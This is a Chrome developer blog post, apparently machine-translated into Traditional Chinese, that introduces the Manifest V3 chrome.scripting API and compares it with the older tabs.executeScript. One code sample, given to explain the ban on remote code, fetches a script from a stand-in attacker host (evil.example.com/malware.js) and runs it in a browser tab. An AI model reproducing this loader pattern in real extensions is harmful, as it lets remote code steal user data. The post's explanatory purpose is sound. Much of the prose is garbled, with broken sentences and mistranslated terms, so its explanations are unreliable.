隆重推出 chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 為 Chrome 的擴充功能平台推出了幾項異動。這篇文章中, 我們將探討以下一項更明顯變化的動機和變化: 推出 chrome.scripting API。

什麼是 chrome.scripting?

顧名思義,chrome.scripting 是 Manifest V3 導入的新命名空間 負責指令碼和樣式插入功能

過去已建立 Chrome 擴充功能的開發人員可能會熟悉 Manifest V2 方法 使用 Tabs API,例如 chrome.tabs.executeScriptchrome.tabs.insertCSS。這些方法可讓擴充功能插入指令碼 複製到頁面中在 Manifest V3 中,這些功能已移至 chrome.scripting,我們預計日後會擴充這個 API,加入一些新功能。

為什麼要建立新的 API?

這種轉變之後,您可能會想起「為什麼?」

有幾個因素導致 Chrome 團隊決定引進新的命名空間,以便編寫指令碼。 首先,Tabs API 是用於功能的垃圾導覽匣其次,我們需要將程式碼 變更現有的 executeScript API第三,我們知道加入指令碼 擴充功能這些疑慮共同明確定義了 打造內部指令碼編寫功能

垃圾導覽匣

過去幾年來,擴充功能團隊造成困擾之一 chrome.tabs API 超載。這個 API 剛推出時,其大多數的功能 是與瀏覽器分頁的概念有關。儘管當時 而且功能相當強大 多年來,這個系列作品一直在

在 Manifest V3 推出時,Tabs API 已擴大涵蓋基本分頁管理功能。 選取管理、視窗組織、訊息、縮放控制、基本導覽、指令碼以及 具備其他幾項小型功能雖然這些都很重要,但也可能在 我們負責維護這個平台 考量開發人員社群提出的要求

另一個簡化因子是我們對 tabs 權限的理解不夠理解。雖然許多 權限會限制特定 API (例如 storage) 的存取權,但需具備一些權限 可能只會授予擴充功能存取分頁例項中機密屬性的權限 (以及 也會影響 Windows API)。當然,許多擴充功能開發人員都誤以為 該使用者需要這項權限,才能存取 Tabs API 的方法,例如 chrome.tabs.create 或 更德國,chrome.tabs.executeScript。將功能移出 Tabs API 有助於清除 以免混淆

破壞性變更

設計 Manifest V3 時,我們想解決的其中一項重大問題是濫用和惡意軟體 透過「遠端託管的程式碼」啟用- 程式碼執行,但沒有包含在擴充功能中 套件。濫用擴充功能的作者常常執行從遠端伺服器擷取的指令碼 竊取使用者資料、注入惡意軟體,並規避偵測。雖然優秀的發動者也使用這項功能,但我們 最終自以為真的太危險了,現在不行。

擴充功能可用於執行未封裝程式碼的幾種方式, 以下是 Manifest V2 chrome.tabs.executeScript 方法這個方法可讓擴充功能 在目標分頁中執行任意程式碼字串。進而導致惡意開發人員 可以從遠端伺服器擷取任意指令碼,並在擴充功能可使用的任何網頁中執行指令碼 資源存取權我們知道如果要解決遠端程式碼問題,必須捨棄這個 而不是每個特徵的分數

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

此外,我們還想清除 Manifest V2 版本設計的其他一些細微問題。 來讓 API 成為更完善且可預測的工具

雖然可以在 Tabs API 中變更這個方法的簽名,但我們認為 以及導入新功能 (下節說明) 所以每個人都會更容易的休息

擴充指令碼功能

而 Manifest V3 設計程序的另一項考量重點是 安裝 Chrome 擴充功能平台的額外指令碼。具體來說,我們要新增 支援動態內容指令碼,並擴充 executeScript 方法的功能。

長久以來,Chromium 支援動態內容指令碼。今天, Manifest V2 和 V3 Chrome 擴充功能只能在 manifest.json 檔案;平台並未提供註冊新的內容指令碼的方法, 內容指令碼登錄,或在執行階段取消註冊內容指令碼。

雖然我們知道自己想處理 Manifest V3 這項功能要求,但目前 API 的特色就是好用我們也考慮和 Firefox 上的內容指令碼一致 API 後,我們很早就發現這種方法有以下幾個主要缺點。 首先,我們知道會有不相容的特徵碼 (例如停止支援 code 屬性)。第二,我們的 API 有一組不同的設計限制 (例如,需要註冊 持續性的工作)。最後,這個命名空間也會為我們 內容指令碼功能,我們希望更廣泛地編寫擴充功能的指令碼。

executeScript 的前端,我們也想拓展此 API 的功能,除了分頁功能之外,還有更多功能 支援的 API 版本。具體來說,我們希望更方便支援函式和引數 並指定非「定位點」定義。

我們日後也會考慮擴充功能如何與已安裝的 PWA 和其他 也就是沒有概念對應至「分頁」的背景資訊。

tab.executeScript 和 Scripting.executeScript 之間的變更

在本文的後續部分,我想進一步說明 介於 chrome.tabs.executeScriptchrome.scripting.executeScript

使用引數插入函式

在考慮使用遠端託管的程式碼時,平台需要如何發展 我們希望找到在執行任意程式碼時,能從原本只能運作到 允許靜態內容指令碼我們建構的解決方案是允許擴充功能將 函式作為內容指令碼,以及將值陣列做為引數傳遞。

我們來看看一個 (過度簡化) 範例。假設我們要插入一段 當使用者按一下擴充功能的動作按鈕 (工具列的圖示) 時,會向使用者顯示名稱。 在 Manifest V2 中,我們可以動態建構程式碼字串,然後在目前的 頁面。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

雖然 Manifest V3 擴充功能無法使用未隨附擴充功能的程式碼,但我們的目標是 可保留部分可為 Manifest V2 擴充功能啟用的任意程式碼封鎖特性。 有了函式和引數做法,Chrome 線上應用程式商店的審查人員、使用者和其他相關人員都能輕鬆上手 有興趣的各方能更準確地評估延伸模組帶來的風險,同時 開發人員可以根據使用者設定或應用程式狀態,修改擴充功能的執行階段行為。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

指定頁框

此外,我們也希望改善開發人員在修訂 API 中與頁框的互動方式。Manifest V2 executeScript 版本可讓開發人員指定分頁中的所有影格或特定 一個頁框您可以使用 chrome.webNavigation.getAllFrames 取得 標籤。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

在 Manifest V3 中,我們已將選項物件中的選用 frameId 整數屬性替換成 選用的 frameIds 整數陣列;這可讓開發人員在單一區域中指定多個影格 呼叫 API 呼叫。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

指令碼插入結果

此外,我們還改善了在 Manifest V3 傳回指令碼插入結果的方式。「結果」為 基本上是指令碼中評估的最終陳述式不妨想像成當您 呼叫 eval() 或在 Chrome 開發人員工具控制台中執行一段程式碼,但將其序列化, 但會在不同程序中傳遞結果

在 Manifest V2 中,executeScriptinsertCSS 會傳回一般執行結果的陣列。 如果只有一個注入點,就可以這麼做,但無法保證結果順序 插入多個頁框中,因此無法判斷哪個結果與哪個結果相關 相框。

具體範例來看看 Manifest V2 傳回的 results 陣列和 相同擴充功能的 Manifest V3 版本。兩個版本的擴充功能將插入相同的 內容指令碼,我們會在同一個示範頁面上比較結果。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

執行 Manifest V2 版本時,我們會傳回 [1, 0, 5] 的陣列。對應結果 要連到主頁框,哪一個用於 iframe?傳回值並未告訴我們,因此我們不知道 當然。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

在 Manifest V3 版本中,results 現在包含結果物件的陣列,而非 也就是評估結果,而結果物件明確指出每個應用程式的影格 ID 結果。如此一來,開發人員就能更輕鬆地運用結果,並對 相框。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

總結

無法順利更新資訊清單版本,就有機會重新思考及翻新擴充功能 API。我們的目標 的 Manifest V3 可改善擴充功能,讓擴充功能更加安全 提升開發人員體驗我們在 Manifest V3 中導入 chrome.scripting 來清理 Tabs API,將 executeScript 重新建構為更安全擴充功能平台。 並為今年稍晚即將推出的全新指令碼編寫功能奠定基礎